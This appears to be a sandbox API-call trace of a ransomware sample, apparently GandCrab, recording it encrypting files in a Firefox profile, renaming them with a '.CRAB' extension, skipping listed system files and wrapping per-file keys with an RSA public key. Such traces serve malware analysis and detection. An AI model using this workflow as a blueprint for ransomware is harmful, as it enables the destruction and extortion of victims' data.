	[0122.253] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.282] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.294] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.313] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.316] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.316] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.318] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.322] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.352] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.362] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.381] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.385] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.385] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.387] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.390] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.406] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.419] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.440] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.444] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.444] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.446] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.449] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.455] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.466] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.484] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.487] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.487] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.489] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.493] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.501] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.512] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.530] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.533] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.533] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.535] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.539] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.545] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.556] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.575] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.579] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.579] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.581] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.584] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x100000, lpOverlapped=0x0) returned 1
	[0122.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0122.601] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3570000
	[0122.617] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.621] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.621] WriteFile (in: hFile=0x3e0, lpBuffer=0x3570000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3570000*, lpNumberOfBytesWritten=0x3149f14*=0x100000, lpOverlapped=0x0) returned 1
	[0122.623] VirtualFree (lpAddress=0x3570000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.629] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x0, lpOverlapped=0x0) returned 1
	[0122.629] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.633] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.639] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.640] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.640] CloseHandle (hObject=0x3e0) returned 1
	[0122.640] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.640] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.640] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.641] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.641] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.641] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.641] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.641] lstrcmpW (lpString1="pluginreg.dat", lpString2=".") returned 1
	[0122.641] lstrcmpW (lpString1="pluginreg.dat", lpString2="..") returned 1
	[0122.641] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="pluginreg.dat" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat"
	[0122.641] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.642] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93
	[0122.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93
	[0122.642] lstrlenW (lpString=".dat") returned 4
	[0122.642] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.642] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".dat ") returned 5
	[0122.642] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93
	[0122.642] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat") returned 93
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="desktop.ini") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="autorun.inf") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ntuser.dat") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="iconcache.db") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="bootsect.bak") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="boot.ini") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="ntuser.dat.log") returned 1
	[0122.642] lstrcmpiW (lpString1="pluginreg.dat", lpString2="thumbs.db") returned -1
	[0122.643] lstrcmpiW (lpString1="pluginreg.dat", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.643] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.643] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB") returned 98
	[0122.643] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat")) returned 0x20
	[0122.643] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat", dwFileAttributes=0x20) returned 1
	[0122.644] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat.crab")) returned 1
	[0122.645] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.645] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB"
	[0122.645] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB.CRAB"
	[0122.645] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0122.645] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.646] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.646] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.646] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0122.646] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0122.646] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.646] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6eb78) returned 1
	[0122.647] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0122.647] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0122.647] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0122.647] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0122.647] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0122.647] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.647] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0122.648] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0122.648] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0122.648] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x31651d8) returned 1
	[0122.648] CryptGetKeyParam (in: hKey=0x31651d8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.648] CryptEncrypt (in: hKey=0x31651d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0122.649] GetLastError () returned 0x0
	[0122.649] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.649] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e408) returned 1
	[0122.649] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0x3165418) returned 1
	[0122.649] CryptGetKeyParam (in: hKey=0x3165418, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0122.649] CryptEncrypt (in: hKey=0x3165418, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0122.650] GetLastError () returned 0x0
	[0122.650] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0122.650] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\pluginreg.dat.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\pluginreg.dat.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0122.650] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0122.650] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0122.651] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x23b, lpOverlapped=0x0) returned 1
	[0122.661] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0122.662] VirtualAlloc (lpAddress=0x0, dwSize=0x240, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0122.662] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.662] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfffffdc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0122.662] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x240, lpOverlapped=0x0) returned 1
	[0122.663] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.663] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.666] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.673] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0122.673] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0122.674] CloseHandle (hObject=0x3e0) returned 1
	[0122.674] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.674] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.674] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.674] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.675] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.675] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.675] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0122.675] lstrcmpW (lpString1="prefs.js", lpString2=".") returned 1
	[0122.675] lstrcmpW (lpString1="prefs.js", lpString2="..") returned 1
	[0122.675] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="prefs.js" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js"
	[0122.675] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0122.675] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88
	[0122.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88
	[0122.676] lstrlenW (lpString=".js") returned 3
	[0122.676] VirtualAlloc (lpAddress=0x0, dwSize=0xa, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.676] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".js ") returned 4
	[0122.676] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0122.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88
	[0122.676] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js") returned 88
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="desktop.ini") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="autorun.inf") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="ntuser.dat") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="iconcache.db") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="bootsect.bak") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="boot.ini") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="ntuser.dat.log") returned 1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="thumbs.db") returned -1
	[0122.676] lstrcmpiW (lpString1="prefs.js", lpString2="CRAB-DECRYPT.txt") returned 1
	[0122.676] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0122.677] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB") returned 93
	[0122.677] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js")) returned 0x20
	[0122.677] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js", dwFileAttributes=0x20) returned 1
	[0122.677] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\prefs.js.crab")) returned 1
	[0122.678] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0122.678] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\prefs.js.CRAB"
